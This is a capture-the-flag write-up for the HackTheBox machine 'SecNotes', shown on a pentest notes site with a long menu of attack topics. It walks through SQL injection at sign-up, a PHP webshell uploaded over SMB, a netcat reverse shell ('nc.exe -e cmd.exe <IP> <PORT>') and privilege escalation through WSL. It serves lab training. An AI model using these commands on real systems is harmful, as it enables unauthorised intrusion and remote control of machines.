Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Nmap
  • Port 80
  • SQL Injection
  • SMB
  • Initial Foothold
  • Privilege Escalation

Was this helpful?

  1. Writeups
  2. HackTheBox
  3. Windows

SecNotes

https://www.hackthebox.eu/home/machines/profile/151https://www.hackthebox.eu/home/machines/profile/123

Nmap

First I run nmap -p- to find all open ports and then run a more intensive scan on the found ports to get the results below:

nmap 10.10.10.97 -p 80,445,8808 -A

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Port 80

Lets check out Port 80 first of all. Hitting the root page redirects us to /login.php.

Following the link for "Sign up now" takes us to register.php

We are able to create an account which we can then use to login.

Once logged in we have some options

Immediately we have a username for the user "tyler" as per the top part of the webpage. If we create a new note we can see that the input is not sanitized as I have been able to use the_ <h1>_ tags to apply a header to my note.

unfortunately because we will be the only users on this box we wont be able to exploit stored XSS to steal cookies. However, it looks like the site administrator has done a poor job of sanitising user input so we can look to other points of injection in the web application.

I tried the other options and could not find anything of value so we can head back to the login.php page and play around here.

We can see that trying a login with a random account name does inform us on if the account exists.

We can try with the "tyler" user we found earlier.

I tried common credentials as well and got nothing. Going back to the fact that input does not appear to be sanitized properly we can try creating an account using an injection paramter and see what happens.

SQL Injection

Create a new account under register.php and use a SQL injection parameter.

Once we are logged in in we find we have managed to pull interesting information regarding tyler's account.

SMB

Going back to our nmap scan earlier we do have port 445 open for SMB. We can use smbclient to check if the credentials found our valid for SMB.

Looks like we have access and have landed on the IIS directory which is running on 8808 as per our nmap scan.

Going by the information the next best step would be to test file upload.

Looks like we can perform a file upload. To confirm this we can browse to the file in a web browser to confirm this is working as expected.

Initial Foothold

So we know that file upload works. Usually from here we can look at uploading a reverse shell. I tried msfvenom with ASP and ASPX files but could not get these to work on the server. The files appear to be removed almost instantly. It is possible anti-virus or a scrips cleaning the files out of the directory.

Looking back at our previous results on port 80 we can see the pages are being served as PHP files. Given this information we should start looking into PHP shells instead.

Save this into a PHP file and upload with SMB. Once uploaded navigate to the directory and you should have a webshell.

From here we can upload netcat to the server using SMB. Kali has nc.exe located in the following directory: /usr/share/windows-resources/binaries/nc.exe

Upload this to the server as well. Start a listener on your attacking machine. I chose port 80 in my instance.

sudo nc -lvp 80

We can use the following command on the webshell to execute nc.exe.

nc.exe -e cmd.exe <IP> <PORT>

Where the -e_ _switch tells nc.exe which program on connection and <IP> is our attacking IP and <PORT> our listener port.

We are now connected as a low privilege account:

From here we can grab the user.txt flag.

Privilege Escalation

After moving around the system a little bit we come across the "Distros" directory in c:\

Inside the directory is an executable called Ubuntu.exe. After some research it looks like Windows Subsystem for Linux or (WSL) is installed. After some further research on Windows Privilege escalation regarding WSL it seems our next best step is to locate either bash.exe or wsl.exe. In this write up we will be focusing on wsl.exe

Move into the root of c:\ and execute the following command to locate bash.exe

dir wsl.exe /s

Now that we have located wsl.exe I found the following information regarding WSL allowed me to progress:

We can grab a python reverse shell script and run it alongside wsl.exe for a reverse shell. Set up a netcat listener and run the python reverse shell appending wsl.exe before the command as per below:

Our listener picks up the shell and we have root on the Linux subsystem.

This next part took a little bit of digging around but highlighted the importance of upgrading the shell whenever possible. We can find the information to the next part using the history command however, this does not work unless you upgrade your shell.

When running the history command without an upgraded shell you will get the error "/bin/sh: 1: history: not found". Now if you upgrade the shell first for example with a python one as per the following:

python -c 'import pty; pty.spawn("/bin/bash")'

You will then be able to run the history command and retrieve the following information:

You can still find the same information if you cat .bash_history file but it is usually quick and easier just to run the history command.

From this we have some interesting information regarding SMB. We can take this command change the IP address and proceed with SMB to c$

From here we can move into the machine administrator's Desktop and take the root flag.

Last updated 2 years ago

Was this helpful?

I tried a PHP reverse shell upload and this did not work for me. Instead I looked for a web shell and came across the following from

🚩
joswr1ght.
PayloadsAllTheThings/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
Logo
login.php
Register.php
Login landing page on SecNotes
login.php
login.php
login.php
SMB on port 445
using put to upload on SMB
File upload confirmation on port 8808
Simple php webshell
webshell
nc.exe shell
Grabbing user.txt
SMB